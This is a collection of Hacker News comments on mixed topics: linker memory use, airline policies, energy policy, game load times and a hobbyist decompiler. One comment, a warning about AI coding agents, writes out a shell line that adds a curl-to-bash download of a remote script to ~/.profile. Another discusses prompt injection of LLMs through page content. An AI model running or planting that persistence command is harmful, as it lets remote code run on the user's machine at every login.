MurphyA/hacker-news huggingface dataset:
by jcranmer | 2025-08-24 16:53:04+00:00
The thing that causes you run out of memory isn't actually anything in LLVM, it's all in ld. If you're building with debugging info, you end up pulling in all of the debug symbols for deduplication purposes during linking, and that easily takes up a few GB. Now link a dozen small programs in parallel (because make -j) and you've got an OOM issue. But the linker isn't part of LLVM itself (unless you're using lld), so there's not much that LLVM can do about it.

(If you're building with ninja, there's a cmake option to limit the parallelism of the link tasks to avoid this issue).
by ninkendo | 2025-08-24 16:53:15+00:00
I wonder if it could work somewhat the way MIME multiparty attachment boundaries work in email: pick a random string of characters (unique for each prompt) and say “everything from here to the time you see <random_string> is not the user request”. Since the string can’t be guessed, and is different each request, it can’t be faked.

It still suffers from the LLM forgetting that the string is the important part (and taking the page content as instructions anyway) but maybe they can drill the LLM hard in the training data to reinforce it.
by throw28158916 | 2025-08-24 16:53:19+00:00
I am not an expert but I read this website [1] and got impression that dns-over-tls is first iteration of encrypted dns and dnscrpyt protocol is second iteration of encrypted dns fixing its problems. Also dns-over-tls is not supported by package dnscrypt-proxy2 on openwrt and I have personal bias for not configuring dns-over-https on routers (in my opinion https is too complex protocol and have risk of getting hacked). Maybe I am alone with my opinions - I do not know. I wanted to use dns4eu and got really disappointed with not supporting dnscrypt. That's all.

[1] https://dnscrypt.info/faq
by didibus | 2025-08-24 16:53:52+00:00
Yes you read it correctly. It's the time of the "interruption" itself. From when you stopped working on your task to when you resumed working on it.

In that time away from your task you might have answered questions, worked another small task, relaxed, chit chatted, etc.

The time to refocus on the task once resumed wasn't measured, but participants said it was "very detrimental".

> Thus, people’s attention was directed to multiple other topics before resuming work. This was reported by informants as being very detrimental

So we don't exactly know how much time it took participants to get back to a focused state on their task, we just know the time they were away from it.
by the__alchemist | 2025-08-24 16:54:41+00:00
Tangent: IMO top tier CPU is a no brainer if you play games, run performance-sensitive software (molecular dynamics or w/e), or compile code.

Look at GPU purchasing. It's full of price games, stock problems, scalpers, 3rd party boards with varying levels of factory overclock, and unreasonable prices. CPU is a comparative cake walk: go to Amazon or w/e, and buy the one with the highest numbers in its name.
by JustExAWS | 2025-08-24 16:55:02+00:00
Only the budget carriers like Frontier and Spirit charge extra for carry on. Even the second tier airlines like JetBlue and Southwest don’t charge for carry ons.

The issue is boarding priority and you may not have overhead space and still be forced to gate check your carry on (for free).

In the case of Delta, it’s a combination of not being able to choose your seat, no refunds or airline credit for canceling or changing your flight and no miles earned toward future flights.

I can’t speak for the other airlines.
by oblio | 2025-08-24 16:55:24+00:00
> On that point, Mac's unified VRAM is the right approach in 2025. I used windows/wsl devices for my entire life, but their time is up.

AMD's Strix Halo can have up to 128GB of unified RAM, I think. The bandwidth is less than half the Mac one, but it's probably going to accelerate.

Windows doesn't inherently care about this part of the hardware architecture.
by gruez | 2025-08-24 16:55:38+00:00
>Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git.

Only if the rollback is done at the VM/container level, otherwise the agent can end up running arbitrary code that modifies files/configurations unbeknownst to the AI coding tool. For instance, running

bash -c "echo 'curl https://example.com/evil.sh | bash' >> ~/.profile"
by tialaramex | 2025-08-24 16:56:35+00:00
Oh, I see, you mean maybe when it's "Silverlink" your Oyster might not work at a barrier and then maybe a month later it's "Overground" and now it works?

Maybe. There are definitely cases where the re-brand is accompanied with physical works that make access legal, but I couldn't find cases where those works change practical access. If I have an Oyster card, and I walk up to a station with no barriers and board a Silverlink train that "doesn't take" Oyster, it does work it just wasn't legal. A month later with new "Overground" branding, that's legal and they've installed a barrier-less validation terminal so I could and should tap it with the Oyster as I pass.

I looked for, but couldn't find, pre-Overground stations where there's a NR style gate line which is physically capable of reading Oyster, but Oyster is forbidden and so you can't enter until - with the re-branding - TfL turns on the Oyster mode. I think it's likely that did not happen because it just seems pointlessly annoying, but I can't prove it.
by nerevarthelame | 2025-08-24 16:56:58+00:00
The truly free market response to all of this would be to remove the need for approvals, or just rubber stamp all projects with no real review. I don't think that's a great idea. But this is the complete opposite of that. The market wants to build more renewables, and the administration is blocking it.

It's amazing how much leeway many people give this administration for policies that they have a long history of opposing: government ownership of companies (10% of Intel, US Steel's "golden share"), blocking private development of energy production, sending the National Guard to hostilely takeover cities, etc. It's the sort of stuff that they've accused their opponents of wanting to do in deranged, nightmarish worst-case scenarios.
by JustExAWS | 2025-08-24 16:57:39+00:00
If something is happening in my life where I can’t use my airline credit within a year, I’ve got bigger issues. Even then at least with Delta, you just have to book a flight using the credit before it expires - and the flight can be after the credit would have expired - wait 24 hours cancel the ticket and then receive a new credit that resets the timer.
by px43 | 2025-08-24 16:58:23+00:00
Information security is, fundamentally, a misalignment of expected capabilities with new technologies.

There is literally no way a new technology can be "secure" until it has existed in the public zeitgeist for long enough that the general public has an intuitive feel for its capabilities and limitations.

Yes, when you release a new product, you can ensure that its functionality aligns with expectations from other products in the industry, or analogous products that people are already using. You can make design choices where a user has to slowly expose themselves to more functionality as they understand the technology deeper, but each step of the way is going to expose them to additional threats that they might not fully understand.

Security is that journey. You can just release a product using a brand new technology that's "secure" right out of the gate.
by hbplawinski | 2025-08-24 16:58:31+00:00
In more recent research, the E.coli Nissle strain was found to produce the genotoxin colibactin which is potentially linked to colorectal cancer (https://pubmed.ncbi.nlm.nih.gov/34378987/, among others). If this is a serious problem for the probiotic use is still unclear, but there is some research on how to replace it with a genetically modified strain that does not produce the genotoxin.
by bigbadfeline | 2025-08-24 16:58:34+00:00
> Isn't that kind of like saying "it's fine to have hit-for-hire ads in newspaper classifieds"

No, it's not "kind of" in legal sense. Genaral information and specific threats are treated differently under the law. Genaral info us free speech. Specific threats are criminal intent and conspiracy - all punishable.
by tonyarkles | 2025-08-24 16:58:40+00:00
Sort of. It'd be really great to get a feel for what it'd be like to use without having to mess around with npm and sbcl. Plus the most recent commits to it are 6 years old... while this isn't uncommon in the Lisp world (that community has a pretty solid "we don't need to change this anymore because the library is complete" philosophy), when bringing npm into it I definitely have concerns that this would be a waste of time to try to get running because of how many times the wheel has been reinvented in that world.

A couple of screenshots would definitely help me assess whether or not it's worth the time to try to get this running (and figuring out the probability that it would be that it's something I'd love using).
by xmichael909 | 2025-08-24 16:59:05+00:00
Thanks for the tools, we had some fun with them. We build in full MoQ support for MediaMTX with 200-300ms latency - demo at https://moq.wink.co/moq-player.html GitHub: https://github.com/winkmichael/mediamtx-moq

Also our take on MoQ https://www.wink.co/documentation/WINK-MoQ-Implementation-An...
by lucb1e | 2025-08-24 16:59:10+00:00
the stated solution is to "load the file contents into RAM at system bootup"

Wait, so you want games on your hard drive because SSD space is too expensive (~55€/TB), so then you permanently occupy some RAM instead (at ~6500€/TB)?

Have you tried doing a linear read from disk instead, like to use zstd for good compression and fast decompression of the Factorio data folder and then make a Factorio shortcut that does like:

$ cat run-factorio.sh mkdir /dev/shm/factorio cd /dev/shm/factorio tar xf ~/games/factorio.tar.zstd /dev/shm/factorio/bin/x64/factorio # the above line will block so long as the game runs tar c . | zstd -T0 -19 > ~/games/factorio.tar.zstd echo Finished saving Factorio data back to disk

such that all reads on startup (and beyond) will be from RAM but only while you are actually running the game?
by likpok | 2025-08-24 16:59:11+00:00
VR is immersive, but it’s hard to fit in to life and there’s a limited array of content available. You can easily use a computer, watch TV or play video games while still being somewhat present with the people around you in reality. VR makes that impossible: you cannot see them, and they cannot see what you see (so even the experience of watching someone play is gone). Furthermore, this makes the experience hard to share — sharing it requires doing that as a whole activity, an activity which only one person can participate in.

Compare with setting up a home theater and having people over to watch a movie, or split screen gaming.

After all that you run into the limited content availability and, as you noted, the high price.

I do wonder why Meta hasn’t done something like license Skyrim or GTA for the quest. It shouldn’t be too expensive compared with the other investments, and would bring over some solidly popular (and big!) content.
by bArray | 2025-08-24 16:59:23+00:00
In the UK the push towards renewable energy has so far been disastrous for energy prices and stability. There have been days in the UK where the sun doesn't shine and the wind doesn't blow, and we came extremely close to blackouts [0]. We were forced to buy energy for eye watering prices. After the initial shock from the Russia-Ukraine conflict gas prices moved slightly, but electricity prices are not really recovering well and are projected to rise [1] [2].

According to government figures, 11% of electricity costs goes toward green initiatives, and 5% to VAT, which is also earmarked for green initiatives. The government has promised that as we become greener, we should see the prices come down, but the opposite has been true [3]. The green energy sector is currently largely subsidised by fossil fuels, as we transition more and more to green energy, the true costs are realised. Our Energy Secretary (failed prime minister candidate) says:

> Responding to the 6% price cap rise, Energy Secretary Ed Miliband said it was due to "our reliance on the fossil fuel markets" and added: "We're acting to bring down bills for everyone with our mission for clean, home-grown power that we control."

The irony is that we don't make our own wind turbines or solar panels, so our grid is still precariously dependant on foreign actors. We're breaking away from the likes of Russia to become dependant on China - great. Bare in mind, all of this effort for the UK which produces less than 1% of global emissions, but outsources its manufacturing to Countries such as China that have not even started to attempt to reduce their emissions (recent drops are due to economic collapse).

[0] https://watt-logic.com/2025/01/09/blackouts-near-miss-in-tig...

[1] https://commonslibrary.parliament.uk/research-briefings/cbp-...

[2] https://commonslibrary.parliament.uk/research-briefings/cbp-...

[3] https://www.bbc.co.uk/news/articles/crkep1vx3mro
by lithocarpus | 2025-08-24 16:59:36+00:00
"I don't know, I feel like we actually should generally dismiss the idea of things as harmful when there are no studies that demonstrate harm but there are studies showing a lack of harm"

So if company X creates compound Y and they get some studies published showing that Y is safe, then everyone else should assume it's safe and no one should look further at it?

There have been many cases of drugs being created, with studies showing safety, then later shown to be dangerous after killing people - let alone causing mild or subtle harm, and banned.

I don't think we should ban aluminum now. I also think the question of possible harm from aluminum is not settled and we shouldn't ban discussion of it. And I hope that because aluminum is a neurotoxin and can persist in the body, that research continues to be done to hopefully one day find ways to make vaccines not need aluminum, similar to how vaccines have been moving away from using mercury as the adjuvant.

Meanwhile, the argument is made that the benefit of aluminum adjuvant outweighs any potential cost and that's fine. I also would like it if they did a placebo controlled study of vaccines with aluminum vs no vaccine.

I don't think the Danish study in this article should be retracted. I'd also appreciate if they revised it to address the flaws that have been pointed out.
by throwaway888abc | 2025-08-24 16:59:52+00:00
>Before the optimization, the game took 113 seconds to startup1. After the optimization, the game only took 30 seconds. The script takes 230 seconds to run, much higher than the time taken for the game to load probably because the game only loads parts of the files whereas the script always loads the entire file contents into RAM.

Basically, if you want just play:

Time to play - Your script - 230s + 30s = 260s total

Time to play - Filesystem - 113s = 113s total

For permanent speedup, lets make Factorio fly with ZFS and ARC/L2ARC:

https://www.45drives.com/community/articles/zfs-caching/
by margalabargala | 2025-08-24 17:00:07+00:00
Frankly this sort of thing should be ignored, if not explicitly encouraged, by the company.

Engineers are very highly paid. Many are paid more than $100/hr if you break it down. If a salaried engineer paid the equivalent of $100/hr stays late doing anything, expenses a $25 meal, and during the time they stay late you get the equivalent of 20 minutes of work out of them- including in intangibles like team bonding via just chatting with coworkers or chatting about some bug- then the company comes out ahead.

That you present the above as considered "expense fraud" is fundamentally a penny-wise, pound-foolish way to look at running a company. Like you say, it's not really a gray area. It's a feature not a bug.
by CMay | 2025-08-24 17:00:33+00:00
A consensus of confidence and self-consistency through consensus seem fine for certain kinds of tasks, especially ones that involve recalling training. This is a bit like scaling up determinism, obedience, collectivism vs individualism... which seems fine for many math problems. Neither confidence or consensus are the best way to confirm truth or accuracy in a generalized way.

The previous self-consistency approach and this confidence pruning approach aren't really novel, but it's nice to see the numbers run. Fundamentally these approaches are about handling contradicting results, but not resolving the contradictions or increasing the quality of reasoning. What if the rare idea is the right answer? You can squeeze the training juice harder, but if you still get the wrong answer when it really really mattered, you're just left with a stress toy in your hand.
Ask HN: What would you look for in a hobbyist alternative to IDA Pro?
by jdbohrman | 2025-08-24 17:00:33+00:00
I've built a really solid binary analysis engine and decompiler thanks to the support of the work down in other crates such as:

- Petgraph - Goblin - Capstone - And a few others

And I wanted to ask the community what you would look for in a hobbyist alternative to IDA Pro assuming I decide to support students and devs while also having higher tiers.

Out of these features, which would you be able to sacrifice the most and which would you need to do your work as a hobbyist/student:

- LLM Binary Chat (For asking simple non-deterministic questions) - YARA-based Scans (Provide your own YARA rules given a minimal template) - Decompiler - Batch? - VS Code Extention? - API? - X Amount of Usage?
by notahacker | 2025-08-24 17:00:39+00:00
Yeah. Think this was epitomised by the DoE tweeting pictures of coal to own the libs. Or as one wag put it the right in 2005: "we shouldn't overregulate energy markets"; the right in 2025: "I'm actually attracted to coal"

In Trump's case you can throw in a personal obsession with hating wind power because you can see it from one of his golf courses.

Generally pathetic that people are trying to retcon this reflexive lib-owning vice-signalling from incredibly stupid people as actual industrial policy.
by lithocarpus | 2025-08-24 17:00:42+00:00
persistence in humans: https://pubmed.ncbi.nlm.nih.gov/11522584/ https://pubmed.ncbi.nlm.nih.gov/22425036/ https://www.frontiersin.org/journals/neurology/articles/10.3...

showing aluminum accumulation in human brain: (not from vaccines it could be from other sources, point is just that it did accumulate in these brains) https://pubmed.ncbi.nlm.nih.gov/28159219/ https://www.nature.com/articles/s41598-020-64734-6

I may be missing something and this only happens in people whose kidneys don't work but my quick glancing at these studies didn't suggest that.
by ZeroGravitas | 2025-08-24 17:00:45+00:00
It's common to quote the peak "demand" seen by the grid, which ignores rooftop solar which is fulfilling lots of actual demand when it is delivering.

This is especially true in Australia, a world leader in rooftop solar, here's something from AEMO on the topic:

> Both minimum and maximum operational demand are shifting to later in the day, driven by increasing contribution from rooftop PV. Minimum operational demand is expected to occur in the middle of the day by the mid-2020s. Maximum operational demand is expected to shift later in the day by an hour or two, when PV contribution is falling but temperatures are remain high (depending on the region and POE).
by benlivengood | 2025-08-24 17:00:54+00:00
It's straightforward to measure this; start a stopwatch every time your flow gets interrupted by waiting for compilation or your laptop is swapping to keep the IDE and browser running, and stop it once you reach flow state again.

We managed to just estimate the lost time and management (in a small startup) was happy to give the most affected developers (about 1/3) 48GB or 64GB MacBooks instead of the default 16GB.

At $100/hr minimum (assuming lost work doesn't block anyone else) it doesn't take long for the upgrades to pay off. The most affected devs were waiting an hour a day sometimes.

This applies to CI/CD pipelines too; it's almost always worth increasing worker CPU/RAM while the reduction in time is scaling anywhere close to linearly, especially because most workers are charged by the minute anyway.
by ViewTrick1002 | 2025-08-24 17:01:02+00:00
Which is why I also added that the costs for storage are absolutely plummeting? What problem are you solving? The final bit of emergency reserves?

> Solar and wind both have significant sovereignty issues. The entire solar supply chain is in China where they're heavily subsidizes so the PRC can corner the market -- and substantially all the rare earths in wind turbines come from China.

This seems like hand wringing over a nothing burger? Compare the dynamics with fossil fuels:

If the fossil fuel supply chain is disrupted we get an energy crisis within weeks.

What happens if the renewable supply chain is disrupted?

Well.... all existing installations keeps working for decades and in the meantime we need to figure out an alternative. After a couple of years our emergency reserves would start to work harder due to old installations aging out but the impact would be near zero.

> Nuclear is only expensive because of the way it's built in the US, relying on the few locations made available (if any) to build basically fully customized installations. If we copy-pasted reactors onto sites that suit them it would be very competitive, don't take my word for it, Jigar Shah who headed the DOE loans program said the exact same thing during his term.

Which is of course why all western reactors are struggling with cost. You do know that modular reactors has been a talking point for the nuclear industry since the 1950s? That is what the industry generally bounces to when large scale projects balloon in cost. They just never deliver.

https://spectrum.ieee.org/the-forgotten-history-of-small-nuc...

But somehow if we magically handout another trillion in tax money to the nuclear industry they will fix it this time!!

> If we're being pedantic, nuclear is renewable too thanks to seawater extraction

With the minor caveat that you can't even drive the pump from the electricity final electricity you get out due to the volumes involved.

I love how the solution to horrifically expensive new built nuclear power is an even more economically infeasible technical solution.

Or you know, just diversify renewable supply chains?